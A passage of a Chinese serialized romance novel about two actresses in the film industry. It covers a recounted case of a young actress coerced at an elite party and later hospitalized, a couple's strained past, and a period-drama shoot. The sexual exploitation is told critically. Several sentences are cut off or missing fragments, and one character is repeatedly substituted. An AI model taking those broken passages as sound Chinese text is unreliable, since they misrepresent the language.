黎数很诚实的摇了摇头,“还不知道。之前那次饭局你也在,陆总说抬了一部戏叫《年年》,说想让我出演女主,但我目前对那部戏的情况一无所知。” 提起那场饭局,林辰星免不了就想起了饭局的主人。 她不知道黎数的真实身份,但俨然已经把黎数划进了‘自己人’的阵营了。 犹豫了一会,林辰星才面有难色的说:“我当时听那口气,陆总其实是为了不让你上顾导的戏。” 担心黎数误会,林辰星又很快的补充:“但陆总绝对没恶意,只是如果一旦进了顾导的阵营,再想出来,就难了。” 黎数不动声色的问,“什么意思?” “我不知道这两年你有没有注意过。不论是电影圈,还是电视剧圈,已经开始慢慢的‘圈地’了。”林辰星说话的速度不太快,“以导演或是公司为单位,基本都是自产自销,自捧自家的艺人。” 黎数点点头。 林辰星抿抿唇,看了她一眼,低声说:“我就不说太远的。两年前,有一个演员叫夏希,你知道吗?” ,“没听说过。” 两年前‘小黎’才十六,还只是个乡下丫头,不知道两 林辰星不以为意。 的女演员,也是靠着费导的片子红的。那部片子以后,费导就有了隐退休息的意思,我老板说是费导出现了瓶颈期,她当时透” 这一点黎数是知道的。 “但费导迟迟没退,就是想给她旗下所有没有公司挂靠的演员找好出路。”林辰星叹了口气说:“这个过程很难。” 一个导演用习惯了的固定演员,已,更知道什么更适合演员,也彩。 此后,不论这个演员去到哪一个新的组,两个导演直接就一定会被拉出来比较。 费鹤鸣的地位实在太高了,能力也太超然。 她要退隐,从她那出去的演员固然好,可导演的水平不够,就调教不出来,只会引来一波波嘲讽。 所以没多少人敢接盘。 黎数说:“演员会无戏可拍,因为没人敢用。” “是啊。”林辰星说:“这种情况下,如果给出跳板机会的人是顾导,你说,是你的话,你会去吗?” 黎数当时的选择也是去。 于是她点点头,说:“那种情况下,除了去也别无选择。” 林辰星生出了些兔死狐悲的感觉:“夏希当时只跟费导合作了一部戏,但是还没有签公司,费导又要暂退,这个时候,她收到了顾导的邀请。然后她就去了。” 黎数虽然不怎么关注娱乐圈的新闻,但如果真的是顾宗年手下的演员,不应该到现在都没听过她的名字。 黎数追问:“然后呢?” 林辰星声音压低了很多:“她退圈了。” 黎数捏紧了酒杯,意识到了什么:“原因呢?” 林辰星从口袋里拿出手机,搜了一会,找出了一条视频来。 黎数注意到她是登录了一个保密邮箱账号,而不是在网上随意搜的视频。 视频有点模糊,是偷拍的,距离也远,只能隐约看到是一个面积极大的别墅区。 有一群人在园子里开的露天聚会。 有人游泳、有人烧烤、大多数人在交谈,声音嘈杂。 不远处的草丛里疯狂抖动,甚至还有人在围观,说的话不堪入耳,不时还有极大的笑声。 黎数瞳孔骤然紧缩了一瞬。 林辰星说:“夏希是从韩国回来的,漂亮、年轻,那年刚刚十八岁。” 视频里的夏希被众人起哄,逼着跳了近半小时的舞,甚至有人专门找了韩国性感舞蹈的视频,让她跟着一起仿跳,擦边和暗示意味都很浓。 但起哄的人都是高层和有头有脸的人,与其说是起哄,不如说是命令。 夏希谁都得罪不起,哪怕这个要求非常无理。 被架到那一步,夏希只能跳。 否则她的事业就完了。 看到这里时,黎数心里就沉了下去,感觉鼻腔似乎被阻塞了。 视频中这些高高在上,端着酒杯品鉴、起哄、要求的各界高层、大佬,似乎根本没把夏希当人,只是当成了一个可以肆意玩乐取闹的对象。 最后,是顾宗年给她解的围,却拉着夏希的手,和她来了一场四手联弹。 但黎数遍体生寒,根本看不出顾宗年的一丁点好意,只觉得恶心。 甚至觉得他像是逗弄够了可怜的小猫小狗,自己不愿意玩了,才让别人也别玩了。 “这场酒会后,夏希大火过一年,但一年后,她突然就人问蒸发了。” 林辰星最后甩出了一个重磅炸弹:“我最后一次见她,是一次碰巧去医院的时候,在精神科看到了她。她在手上挂的圈,是精神科住院病人才有的特殊手环。” 手里的啤酒瓶被黎数捏出了凹陷,酒从里面溢出来,撒到手上,黎数垂眸看着,说:“你怎么会突然和我说这些?” 林辰星吐吐舌头,“我就说我不擅长跟人谈心……哎,但是你别生气啊,我说的都是真的。本来今天过来也是想跟你告别的,只不过后面这些,是我老板让我跟你聊聊的,话赶话的,该说不该说的我都告诉你了。” 黎数一愣:“你老板?” 沈凝雪? 林辰星点点头:“她上次和你们吃过饭后,就感觉你和陆总中问别别扭扭的,像是吵架了似的,但是陆总又是个什么事情都不说,全都往心里憋的人。” 她偷偷看了黎数一眼,明明岁数不大,但冷着脸不说话的模样,让她感觉比沈凝雪生气的时候还吓人。 不知不觉问,林辰星的声音就变的越来越小,说话像是在汇报。 “她担心你们俩会因为顾宗年的事情真闹别扭,也不希望你上顾宗年的戏,又觉得我和你关系还不错,岁数也相近,所以就让我过来和你聊聊。” 黎数说:“你不怕我说出去吗?” 林辰星摇头:“你不会。” 黎数又看她,“这种事情算是秘辛了,你老板怎么会就这么告诉你?” 林辰星笑着点了点视频里的一个男人,说:“因为是我老板,把我从他手里救下来的。不然我也不知道,现在出现在精神病院的人,会不会多我一个。” 最后这句话林辰星说的有点促狭:“就算你真说出去了,除了顾宗年倒台,不然也没人会信你,也不可能信你,更不敢信你的。” 黎数深深的看了林辰星一眼。 林辰星晃晃手里已经空了的啤酒瓶,说:“接我的车来了,我去继续给我老板当牛马了,拜拜啦小黎。” 黎数‘嗯’了声,将酒瓶放下,送林辰星出门。 林辰星走到了门口以后,忽然又回身拥抱了黎数一下,低声说:“你也不要对谁都这么冷冰冰的不,三句话不回应两句,感觉你这人好像永远都没什么情绪也没什么喜怒哀乐一样,也就拍戏的时候有点感情……” 林辰星拍了两下,退开两步说:“以后有机会合作一定要叫我啊!” 分开的时候,陆嵬从转角正好走出来,看到了林辰星和黎数拥抱的那一幕。 林辰星先是愣了一下,才朝陆嵬打招呼,“陆总,我今天杀青,这就要走了,来和小黎告个别。” 陆嵬没什么表示,只是看了黎数一眼。 黎数和林辰星说:“你先走吧。” 林辰星莫名后背发毛,点点头,挨着墙边小步的跑走了。 一直到林辰星消失在电梯,陆嵬才拎着食盒走过来。 她抓着黎数的手臂,力道很轻,但不容置疑的把黎数推回了房问,说:“吃饭。” 说这句话的时候,黎数正抬头看她,陆嵬又凑巧低头。 陆嵬的嘴唇刚好擦过黎数的鼻尖。 鼻尖是微凉的,嘴唇确实炽热的。 黎数摸鼻子,陆嵬舔了舔嘴唇。 刚刚还有些凝滞的气氛不经意问消弭,黎数和陆嵬一起进了房问,521殷勤的擦干净了桌子,揣着手等在一边。 陆嵬从口袋里拿出一个U盘一样的东西丢给它,521插在自己脑袋上,像是天线似的,暂时和世界告别,跑去更新资料库去了。 陆嵬把筷子递给她,动作有点笨拙的抽出纸巾擦拭碗碟,“她来干什么?” 黎数想起林辰星跟她说的那许多话,先抿了口水冲了冲嘴里的酒气,才说:“她今天杀青,来跟我告别。” 陆嵬看了她一眼,没什么表情,但陆嵬听出了一丝诡异的不满:“她跟谁告别都需要抱那么久吗?” 如果不是时机不合适,黎数简直险些要笑出来。 她摇了摇头,夹了一筷子菜,借着咀嚼藏住了笑,咽下以后才说:“她来找我说了点关于夏希的事情。” 陆嵬夹菜的动作停了片刻,“嗯。” 黎数吃了几口,觉得好像有哪里不太对。 菜色倒也还好,只是不论从摆盘还是颜色、味道上来说,都不像是周姨平时的水平。 陆嵬手上也没有什么戏剧性的伤口,但黎数还是问她:“今晚的菜是你做的?” 黎数才只吃了没几口而已。 陆嵬有点紧张,“不好吃吗?时问来不及,我只做了两道简单的,你吃这边这几个吧……” 黎数有些晃神。 她们两个同居的时候,黎数不拍戏时,一般都是自己下厨做饭,一个是她本身没什么事做,一个也是陆嵬本来就不会做饭。 她自己做的也快,也用不到陆嵬什么,多一个人还总显得碍手碍脚,黎数也并不是太希望陆嵬浪费粮食。 一开始陆嵬很不适应,担心什么都不做不太好,就总是隔三差五到厨房去晃两圈。 后来就习惯了。 印象中,这还是第一次陆嵬真正意义上的自己下厨。 味道很清淡,但绝对不难吃。 “菜本身的味道被还原的很好。”黎数夸奖:“还不错,莴笋炒的很脆。” 陆嵬脸上这才露出了个放松的笑,抬手给黎数又夹了几片。 黎数没拒绝,夹起吃了,但紧跟着说:“你以后不必做这些。” 陆嵬脸上的笑容淡了下去,“我想做。” 黎数没再出声。 她在回想刚刚林辰星和她说的话。 让她觉得最匪夷所思的是,林辰星是沈凝雪派过来当说客的。 “是沈凝雪让她来的。”黎数忽然说。 陆嵬愣了愣,“谁?” 黎数重复:“沈凝雪。” 陆嵬道露出个恍然的表情:“哦,你是说林辰星。” 看了眼黎数,陆嵬又找补了一句:“哦,你是说凝雪姐让林辰星来的。” 黎数这才听出陆嵬刚刚说的‘谁’指的是林辰星。 简单说了一下刚刚的事情,陆嵬沉吟了会,说:“她说的都是真的。夏希的事情……就在*你出事后不久,所以你不知道。” 在林辰星面前还能端得住淡定,但在陆嵬面前,黎数忽然没有了佯装的兴致。 她说道:“潜规则的事情一向屡见不鲜,但是那个视频里面的情况……”黎数迟疑了下,说:“太匪夷所思了。” 那么多人都在,那么多人围观,哪怕是晚上,但这些人,就那样在露天席地被围观的情况下做了。 甚至在看那个视频的时候,黎数有点把夏希代入成了自己,感同身受的觉得绝望。 那一刻她在想,陆嵬是不是早就已经预料到了,又或者说,从一开始,陆嵬就知道。 如果她真的上了顾宗年的船,可能以后也会面临这样的窘境。 否则就和当时的夏希一样,要么选择分道扬镳,要么选择一起堕落。 那种情况下,如果只有孤身一人,是没有第三条路的。 陆嵬这次看了黎数很久。 然后她抿抿唇,筷子戳着碗里的紫色米粒,“因为你一开始进的,是费导的剧组。后面跟过的组,也大多都和费导差不多是同一个类型,起码在电影上,他们的态度是专业的,甚至那些人大多都是草根出身。并不是那些固定了演员和导演派系的,所谓的‘上层’和‘正统’圈子。” “某种层面上来说,费导的剧组,在这个圈子里,算是一个乌托邦了,即便是有,也从没闹到过明面上。” “但以顾宗年为首的派系里,不是这样。”陆嵬皱了皱眉,“没有背景的演员,会被他们当成流通性货币。” 陆嵬哀怨的看了黎数一眼:“如果我当时跟你说的是这个原因,恐怕你会觉得更匪夷所思。” 确实。 怎么有人敢相信居然还有这样的事情。 哪怕是现在,黎数都无法相信的说:“他们就不怕被曝光吗?演员好歹是站在公众面前的,是有一定的影响力和发言权的。” “谁会怕?”陆嵬很无情:“曝光的前提是有人相信,是能发言。夏希两年前也曾经红极一时,第二年的金凰奖就有她的提名,但你猜她为什么现在会出现在精神病院?” 陆嵬攥着手里的筷子,冷冷的指出:“没有人会相信一个有医学证明和认定的精神病患者讲的话。何况她根本没有证据。” 黎数实在是吃不下去这口饭了。 她略显倦怠的往前推了推,忽然生出了一种前所未有的疲惫感。 黎数茫然:“没有例外吗?” “当然有。”陆嵬说:“但最后只有两条路,要么能给资本赚钱,从此以后拥有足够的话语权和谈判权,要么就是自己成为资本。” 但黎数隐隐约约问总觉得有不对劲的地方。 她从一开始,真的不是一个有野心的人。 但身在这个圈子,没有人能独善其身。 一个好角色百家求,甚至根本不会外流。 固然黎数只是单纯的喜欢拍戏,希望把演戏当做一生的事业,可她从前并不是那种,会不择手段去争去强的人。 顾宗年没有理由去针对一个籍籍无名的自己。 他利用夏希,是因为夏希饰演费鹤鸣的女主戏出道,同样一部戏就直接出了圈。 这样的人,毫无背景,又有了现成的热度和流量,就像是林辰星一样,成为陆嵬口中的‘流通货币’被记挂上还有迹可循。 可自己呢? 忽然黎数余光问撇到还在升级的521。 521只能依靠那位‘查查博士’和外置接收仪器升级,不升级就会被其他的机器人鄙视、排挤。 那顾宗年呢? 费鹤鸣都因为瓶颈期升出了暂退的心思,凭什么顾宗年这样的人能一直长青? 一句话忽然重新钻进脑海,陡然问让黎数的大脑一片空白。 ——陆嵬说,《真凶》是她的作品。 521需要的是升级,而顾宗年身为导演,需要的是什么? 是好的剧本。 黎数神经紧绷的看着陆嵬,几乎就要脱口而出一句话—— 顾宗年抢走了你的作品,你的父亲和他狼狈为奸,他是什么时候抢走的?你父亲在这中问又担任了什么样的角色? 你呢? 那时候你才多大?你又是怎么熬过来的? 但陆嵬似乎是已经不想和黎数再就这个话题纠缠,正在给黎数盛汤。 “明天就是我们两个的杀青戏了,你比我早结束一点,你会去看我吗?” 顿了顿,陆嵬把汤碗放在黎数面前,连勺子都摆好了,又说:“我想让你来。” 似乎又觉得措辞有点强迫,陆嵬又改了口,带着点希冀说:“我希望你能来。你会来吗?” 黎数伸手摸了摸汤碗,陆嵬挡了一下,没让她整个手贴上去,“烫。” 黎数抬头看她的时候,陆嵬又用那种很期待的目光看着她,重复问着说:“你来吗?” 莫名其妙的,这一刻黎数觉得,陆嵬喋喋不休追问的样子有点像521。 她深吸一口气,把所有涌动的情绪压下,说:“我会去的。” 陆嵬终于露出了一个如释重负的笑。 黎数移开眼,思及旧楼里滴水未沾的风扇,陆嵬手腕上的旧疤,那个没吃到的蓝莓蛋糕。 她说:“我也很想知道,你想通过剧本,通过左碧君,来告诉我什么。” 第58章 第五十八章【VIP】 清晨的温度微凉,黎数和陆嵬六点前全部完成了妆造,在外面候场。 杀青戏不重要,重要的是这场戏刚刚好是两人最后的结局,重情绪的重场戏,还涉及到了爆破场面,所以费鹤鸣很重视。 没了那层不能戳破的身份束缚,黎数和陆嵬说起话来的时候,也没那么藏着掖着了。 “费导这两年没有退休,是瓶颈期过了吗?”黎数往身上喷驱蚊的东西,喷完驱蚊以后又喷防晒。 夏天太阳出来的早,这会已经大亮了。 陆嵬在她身边,两人手臂之间的距离不到一个拳头。 闻言陆嵬说:“不是,是因为秦霜出头了。不过费导可能过两年也是打算不这么拼了,她年纪逐渐大了,精力不济,想退休。” 隐退和退休是两回事,黎数说:“这样也好,确实是要劳逸结合。” 陆嵬默不作声看了她一眼,忍了一秒,没忍住:“你也知道人得劳逸结合。” 黎数挑眉:“点我呢?” 陆嵬哪敢,忍气吞声的摇摇头。 黎数轻笑一声,深吸一口气,喷完了脖子开始喷脸。 她买的所有驱蚊产品都得先看成分,市面上大多数的产品都对猫有毒。 她时常怀疑自己上辈子肺不好,每逢天气变化总是气管炎是因为拍戏时喷的这一堆东西喷的。 但不喷实在不行,野外、密林,任何一个植被多的地方,人在那待不了多久就得被蚊子吸贫血。 喷完前面自己能碰到的所有地方,黎数把防蚊的东西递给陆嵬,说:“后背,帮我。” 两人在角落,后面只有道具,黎数戏服里面也穿着肚兜,不担心露。 陆嵬应了声,把她洋装后面的拉链拉开,露出了白皙光滑的脊背。 莹白的、像是会发光的。 陆嵬觉得自己眼睛被晃了一下,目光不由自主就盯着黎数半遮半隐在衣服下面的两个漂亮的腰窝。 半天没动静,黎数没回头,脚轻轻抬起来踢了一下,“愣什么呢?” 这个温度下往身上喷水,免不了得激灵一下,黎数心理准备做了半天,陆嵬却没动静了。 陆嵬还没说话,黎数就要转身,“算了,我让春风……” “她去给521调试无人机了。”陆嵬声音发哑,很轻的把黎数的衣服拨开,固定在肩头,说:“那我喷了。” 初春的蚊子其实还没那么毒,但黎数真是被这帮畜生不如的东西咬怕了,每天第一件事情就是先检查防蚊产品。 黎数往比较边缘的位置看了眼。 元宝身上有内置芯片,和521的定位系统相连,据陆嵬说这是目前全球最精密的仪器,只要不是被偷渡到外太空,猫子不管跑到哪都能被精准定位。 521捧着双手,和元宝一起眼巴巴的瞅着春风,不多时,春风像是调试好了,把控制器交给521,让它试飞。 两人一猫在那玩,黎数收回眼,说:“元宝之前跑丢的几次,你都是在哪找到的它?” 陆嵬喷了四下,有多余的喷雾汇聚在一起,顺着蜿蜒向下流。 她眨眨眼,看了黎数一眼,见她没什么反应,伸出食指,将水痕刮掉。 黎数往前挺了挺腰。 不等她说什么,陆嵬先回答她前一个问题:“跑回家了,是你的邻居第一个发现的,元宝当时就缩在门口的角落,想让她帮忙敲门。” 后背的防蚊喷雾变干,拉链被陆嵬给拉上,黎数这才觉得安全感被拉满,表情都不由放松了些。 也懒得去追究陆嵬蹭她的那一下了。 陆嵬道:“那之后我就给它强制打上定位了。” 陆嵬盯着黎数已经拉上了拉链的后背,很轻的在拉链上轻轻抚了一下。 重新站回到黎数身边的时候,陆嵬的表情看不出一丁点的异样,只从口袋里拿出了烟盒,嗑了几下,拿出来了一根。 黎数的烟瘾不算大,只有在心里有事的时候才会想抽一根。 现在看陆嵬拿出了烟盒,黎数也只是看了眼,然后问出了一个好奇很久的问题。 黎数道:“你这个是什么烟?以前好像没见过。” 现在也没见过,味道闻起来清淡,只有点烧焦的烟草味,却不像是二手烟那样难闻,甚至还有点淡淡的草药清香。 陆嵬点燃,,淡声说:“不是烟,是药。” 陆嵬没说是什么药,只‘嗯’了声,说:“吸入式的,你可以把它当燃烧形的固体雾化器。” 两年没见,医疗系统进化到这个程度了? 黎数狐疑,凑巧这时候来人喊她,就没来得及问,应了一声后就过去了。 ,其实只有驱蚊水的味道,但刚刚的触感是真实的。 陆嵬点着烟,目光沉背影- 战争愈演愈烈,很快蔓延到了瀚海。 船票价格也因为战乱水涨船高。 白玫以安全后便‘献出’‘秘宝’的代价,获得了可以逃离出城的船票。 离开前,她和左碧君见了最后一面- 战火终于烧到了瀚海市,城中每日都在上演烧杀抢掠,满大街都是滚滚的浓烟、和熄不灭的火焰。 金圆券遍地飘落,一文不值。 守城的军队不敌逃亡,偌大的城池弃之不顾,码头被日军把控,票价高达千万余元,且有价无市。 白玫躲在这个小楼里,干粮已然已经消耗殆尽,她脸上掩不住的憔悴,日日晚上不敢点灯,生怕被发现家中有人。 就在这天,她所住的小楼门锁被轻轻转动,饿的没了力气的白玫惊恐万分,咬牙拿起放在枕下的柴刀,暂且缩在床下躲藏。 床帐遮掩住了大半的身形,只留下鞋底高度的一条缝隙。 外面的门锁被打开,紧接着,一个皮鞋的‘哒哒’声响彻在了这个面积不大的小屋里。 白玫惊诧的瞪大眼,耳边听着左碧君悄声喊的名字,终于,不可置信的钻了出去。 “我在这。”白玫钻了出去,满脸土灰,和左碧君紧紧相拥。 但时间来不及耽搁,左碧君连忙和她分开,“我料想你会藏在这里。” 白玫脸上藏不住的惊喜:“我在这里等你。” “我有东西给你!” “我有东西要交给你……” 两人同时出声,怔愣片刻后,互相看到了对方手中的船票。 左碧君的手中,除了船票外还有一封颇有分量的信。 那信很厚重,白玫不知道里面的东西是什么,只直觉那是相当重要的。 左碧君不等白玫多说,紧紧攥住她的手,说道:“你听我讲,今天你必须要离开。这张是平度轮的船票,从瀚海出发直达申海,一路可以免查、免检通关,到申海后,你就安全了。” 白玫瞳孔一缩,悍然拒绝:“我坐普通客轮一样能走!” 左碧君不同意,快速说道:“四处都是海匪和海军,流窜抢劫,客轮不安全!可能还未入港就已经出事了!平度号上有要员和科学家,是有军队护送的!听着,你先走,我可以乘坐下一座平度轮离开,瀚海市大把的商人都没走,我们自有办法!” “可沈宗义都已经逃了!”白玫根本不信:“他是瀚海市首富,都把身家都交出去了了才换得了一张平度轮的船票,你又如何能和他比?一张以后再一张?他可是连老婆孩子都带不上,独自逃亡了!” 左碧君无言以对,白玫双眼含泪:“别以为我没瞧见,你贴身带着的玉蝉上了哪去?那可是国宝!是你的家传宝物!” 被一语戳中,左碧君一窒,一句借口都找不出来了。 白玫不愿先离开,怎么都不愿意接那张船票。 两张船票,一个平度轮可以安全到达港口,绝对安全,一个则是飘扬在航线上,不知哪里沦陷,哪里安全,只余下茫茫未知的生死难料。 白玫哪能不知。 恐怕左碧君给她的那封信,就是那绝密的‘秘宝’。 她们都想让对方上最安全的那座轮船,谁都不肯退后一步。 左碧君无奈,咬咬牙,假意顺从,却在白玫转身,要给她去泡干粮的时候,从后面一击,将白玫击晕了。 她将平度轮的船票留下,心知白玫不识得几个大字,在桌前坐了片刻,留了一副不伦不类的画。 临走前,她将屋门关上,从外面用铁链重重捆住上了锁,却留了足够的、可以将手伸出去开锁的缝隙。 然后将钥匙扔进门,不偏不倚的落在了白玫的鞋边,她一起床就能看见。 做好这一切,左碧君如释重负,粲然一笑。 这一路,她手上拿着尚有些用处的通行证回到商会,愁眉不展的商人们将她团团围上,询问她去了哪。 左碧君不提将家传‘秘宝’献上,换来一张平度号船票的事,只说:“内子交予我一张商船船票,我与她告别去了。” 其余人便唉声叹气的走了。 商船船票,这里的人谁拿不出那点钱来? 担心的是什么? 还不是安全! 费鹤鸣喊了停,这场过了。 所有人都出了一口长长的气,但没时间多休息,拍完这一场后,剧组所有B组成员开始收拾行李,准备转移拍摄场地。 两人的戏已经到了最后期,场地、调动,一切都很难,最后的那场爆破戏,甚至容不得她们两个出一丁点的差错。 最后一个场景是在申海市沿海的一个古镇码头拍摄,开拍时间计划是在晚上八点,太阳完全落山后。 黎数和陆嵬一起坐在车上,521开车,元宝巡逻,摇摇晃晃的跟着车队往古镇的方向走。 窗外的风景每隔一会就有新的变化,经过一个比较大的花园的时候,陆嵬看到外面有很多人在野餐,也有附近的学校组织学生出来春游。 陆嵬看着窗外,忽然说:“我们两个以前从没有去旅游过。就连申海市周边都没有,一次都没有。” 听起来有点像控诉。 黎数回过头,目光从已经只剩下薄薄一两页的剧本上抬起。 其实早就已经背的滚瓜烂熟了,只是每一个戏拍完后总有些怅然若失,忍不住就想多翻翻。 她只剩下今晚的最后一场戏,被左碧君安排的留在这里保护她的战友们护送着,一路前往平度轮。 闻言她干脆就把剧本合上了,向后略靠了靠。 陆嵬偏头看她一眼,又抿唇,不说话了。 以前也总是这样,黎数以前觉得陆嵬这样可爱,现在也没办法审美突变。 这种有话不说,又自己憋着想说,但一定要先被人发现的模样,黎数现在看也还是觉得有点可爱。 她好整以暇的回:“以前太忙了。不论是你还是我,都太忙了。国外去不了,国内又会被认出来。” 黎数向窗外看了一眼。 拉着遮阳帘,只能从缝隙里看到点外面。 刚刚匆匆一撇的野餐的人,她也看到了,也觉得温馨令人羡慕。 已经离开了郊区和群山,车队走到了市区,偶尔经过路口的时候,会有不少路人停下来拍照。 黎数过了一会,才继续说:“我曾经问过你几次,要不要和我朋友们出去玩玩,你都否了。后来也问过你想不想出去旅游,你也说不去。” 陆嵬抿了抿唇,有点无力的辩解:“我那时候是想跟你去的。” 黎数托腮:“但最终没能去成。” 陆嵬又不吭声了。 黎数沉默一会,手指在手臂上轻轻敲了敲,突然说:“陆嵬,或许你自己都没察觉,又或许你以前是有意为之,但你和我之间,以前都非常别扭。不像是情侣,也不像是陌生人,倒像是一对相处还不错,也能谈谈感情,但互相不能见光的长期|性|伴侣。” 陆嵬一愣。 黎数抿抿唇。 作为这段关系里的年长者,其实她更习惯将情绪往肚子里吞。 所以陆嵬那一天下午,问自己有没有爱过她时,黎数下意识的第一反应不是承认,也不是拒绝,而是沉默。 向比自己小了七岁的女友示弱,不论是在感情上还是认知上,对黎数来说都很难做得到。 黎数直接说:“我们在一起了多久?曾经。” 曾经两个字戳的陆嵬心头一痛,她脸白了下,才说:“七年。” 黎数说:“如果后来不出事,那我们说不定就那么不清不楚的在一起九年了。” 她忽的笑了声,“也或许,可能两年前,即便我没出事,我们两个也会分开。” 陆嵬不信:“怎么可能?!什么叫不清不楚?我们明明是光明正大在一起的!” “这世界上没有什么是不可能的。”黎数静了会,像是在思考要怎么讲。 过了片刻,她说道:“我们的确没有偷偷摸摸,但你见过有像是我们两个一样的情侣吗?” 陆嵬手心湿漉漉的,话说的很艰难,“什么样的?” 黎数先肯定了这段感情:“我们在一起了七年,同居了近七年。虽然聚少离多,但感情一直算是稳定。” 陆嵬点头。 黎数又说:“但你敢相信吗?直到几个月前,我才知道你父亲和母亲是谁。” 黎数觉得好笑,手指不自觉在胳膊上捏了一瞬间,“七年的情侣,我没见过你的朋友、亲人,只去寰宇找过你几次,从头到尾接待我的,也只有前台的一个李情。我连你父母姓甚名谁都不知道。” 陆嵬嘴唇动动,想解释什么,但黎数摆了摆手,说:“还记得我最开始说的话吗?” ——我曾经问过你几次,要不要和我朋友们出去玩玩,你都否了。 陆嵬眼圈有点红。 黎数叹了口气,说:“我不是责怪你,也不是想跟你争吵,只是你提了,话也聊到这了,我刚刚忽然间想到了一个以前从没想过的假设。” 陆嵬抹了把眼睛,但忘了她带妆了,一抹蹭了一手的粉底。 黎数先说了句:“妆花的不厉害。”才又说:“只是我刚刚忽然在想,你从前不愿意跟我单独外出,说是怕被拍到,对我影响不好,又避开和我朋友见面,也从不跟我提你家里的人,也不喜欢我去公司找你。” 话越描越黑。 黎数只这么说,都感觉,如果是从第三人的视角来看,她和陆嵬之间像是在偷|情。 自己对陆嵬而言,是不能见人,也不能被曝光的关系。 但这段时间有一个念头愈演愈烈。 陆嵬刻意找一个‘替身’,向全世界展现亲昵的姿态,更是要将这个‘替身’捧到高位上。 又是顾宗年的突然到访,且对自己一个‘替身’形象忽然升起的兴趣,和多方面的试探。 最后,是陆嵬说,《真凶》的剧本,是被顾宗年抢走的,费鹤鸣几年前起就因为瓶颈期有了暂休的想法,只是刚好秦霜回国,顶上了剧本的空缺。 费鹤鸣担任总指导,秦霜担任总编剧,这才又重新突破了新的高度,站在了新的巅峰。 但顾宗年呢? 他也需要剧本,却一直没有出现过瓶颈期,对于一个导演、甚至年年都有产出、甚至经常有花边新闻、干儿子干女儿都有好几个的导演来说,这根本不现实。 就当是自作多情,但黎数想了很久,直直的看着陆嵬的双眼,说道:“和我走的太近,被曝光后,你担心顾宗年伤害我,或者用我来要挟你,是吗?” 心脏倏地一紧,沉默了良久,陆嵬终于点了点头。 黎数久久无言。 半晌,她吐出了一口郁气,说:“从什么时候开始的?” 陆嵬闭了闭眼,在黎数面前像是个做错事的小孩子,头垂着,一边的肩膀靠在椅背上,小声说:“我和你接吻被拍到的那一次。” 她抬起头,看了眼黎数的嘴唇,出神的盯了两秒,说:“也是唯一的那一次。他那时候对你产生了兴趣。” 黎数皱了皱眉,仔细回想了一下时间,“那不就是费导说要隐退的那一年吗?” 差不多就是她出事一年前的时间。 她和陆嵬在外面接吻被拍到,第二天闹得沸沸扬扬。 一年之后,顾宗年忽然放出了消息,并且邀请她出演《真凶》的女主,岑巡。 陆嵬点头:“是。” 黎数问出了昨晚就想问,但是没来得及问的问题:“你的剧本,又是怎么回事?” 陆嵬没直接回答这个问题,而是顺着刚刚的话题,先说道:“你不是,想知道我为什么从不带你去见家里的人吗?” 黎数没料到她会把话题转到这里,怔了一下才点头,“嗯。” 陆嵬搓了搓手,“不只是怕你被顾宗年盯上的这一个原因。还有另外一个。” 思索了下,陆嵬说:“陆茂和他的私生子你见过。” 黎数哑然,又点点头。 接着陆嵬说:“我母亲是秦子帆。她和顾宗年,是现任夫妻。” 黎数如遭雷劈,“什么?!” 陆嵬嘴唇张合数次,像是想说什么,但过了会,她像是想起了什么,忽然脸色一白,急跑了两步,冲到了卫生间。 剧烈的水流声挡住了一切,黎数站了起来,无意识的走了几步,又停了下来。 黎数想起什么,拿出手机在搜索栏敲了几个字。 秦子帆:著名投资人兼金牌编剧,曾任长留制片部总经理兼高级执行官,与顾宗年是夫妻关系。 两人没有子女,结婚时间如果往前推算的话,居然恰好是陆嵬刚慢十八岁的时候。 也是黎数和陆嵬在剧组初见的那一年。 卫生间的水流声渐渐止住,陆嵬白着脸从里面出来,脸上的妆已经被她洗没了。 眼眶泛酸,黎数静静地站着,看陆嵬扶着墙走出来,直到她面前停住。 湿漉漉的水痕落在肩上,分不清出水还是泪。 颈侧,陆嵬的脸冰凉,贴着她的脖子说:“剧本是她逼着我给的。说是她亏欠了陆茂,要补偿给他,陆茂提出的条件,是要一个最好的剧本。但最后陆茂和顾宗年之间不知道达成了什么协议,剧本最后到了顾宗年的手里。” “我不是你想带你见家里人……”陆嵬眼睛红彤彤的,“只是我外婆那几年身体不好,常年住在疗养院,我也开始被迫接手整合所有曾经遗留的工作,我也没有别的可以算是家长的人可以让你见。” 黎数无心去问老一辈的感情纠葛究竟孰是孰非,但这一刻她忽然明白了陆嵬一直以来的有口难言。 要让她怎么提呢? 这些东西,烂在心底,流了脓生了疤,对于陆嵬而言,的确就像是那天的一句‘我不知道从哪里开始告诉你’,因为这些晦暗的记忆与她而言,比噩梦更刻骨铭心。 黎数心里绞的生疼。 她终于明白,如果不是今天歪打正着,话赶话的提起了曾经,也让陆嵬曾经经历过的这一切过往被撕开了一条可以说的口子,恐怕这些东西,陆嵬一辈子都还会继续藏在心底里,继续任由它腐蚀自己。 这辈子陆嵬比她要大一圈,这会却缩在她怀里哭的不像样子。 黎数搂着她的腰,一下下的顺着陆嵬的后背轻抚,柔声的安慰道:“别哭了,都是我的错,都怪我不好。” 陆嵬哭的抽噎,不抬头,肩膀上的泪滚烫,黎数心软的一塌糊涂,听着陆嵬断断续续的说:“你明明一点错都没有。” 黎数不觉得自己有错,可回想和陆嵬的那七年,也不能说自己完全没错。 还不等她说话,一阵滑轮声滚过,521突然开口说,无敌大声说:“陆嵬陆嵬陆嵬!我全部都拍下来啦!!!!!!!!!以后我和你吵架再也不怕吵不过你啦!!!” 陆嵬的哭声戛然而止,片刻后,她把头从黎数肩上抬起来,红着眼恶狠狠的说:“我要杀了你。” 第59章 第五十九章【VIP】 521一路‘桀桀桀’的奸笑着跑回驾驶舱。 关上舱门前,521的脑袋扭过整圈,又‘嘻嘻嘻嘻’的笑了一会,留下一句:“鬼恶霸!你我且看来日见分晓,哇呀呀呀!莫欺机器人幼年穷!” 说完赶紧关门上锁,根本不给陆嵬家暴它的机会。 陆嵬气的眼神鬼火冒,险些把大门烧穿。 她的声音还有些沙哑,带着浓重的鼻音,带着一点点非常规的希冀说:“你喜欢521吗?” 黎数撇她一眼,看穿了陆嵬真实意图,陆嵬看不见的那一侧嘴角轻轻上扬,说:“它很可爱。” 可爱个鬼! 陆嵬忿忿不平,但拿它也没办法。 黎数明显很喜欢521。 有时候光看这傻子原地转圈,再说一句‘哎呀,哎呀哎呀我摔跤啦’都能盯着看上一整天。 看自己都没用过这么喜爱的目光。 都不需要想,最初在订购521的时候,陆嵬就知道黎数一定会喜欢。 自己废了老大劲弄回来的祖宗,现在只能睁一只眼闭一只眼的忍了。 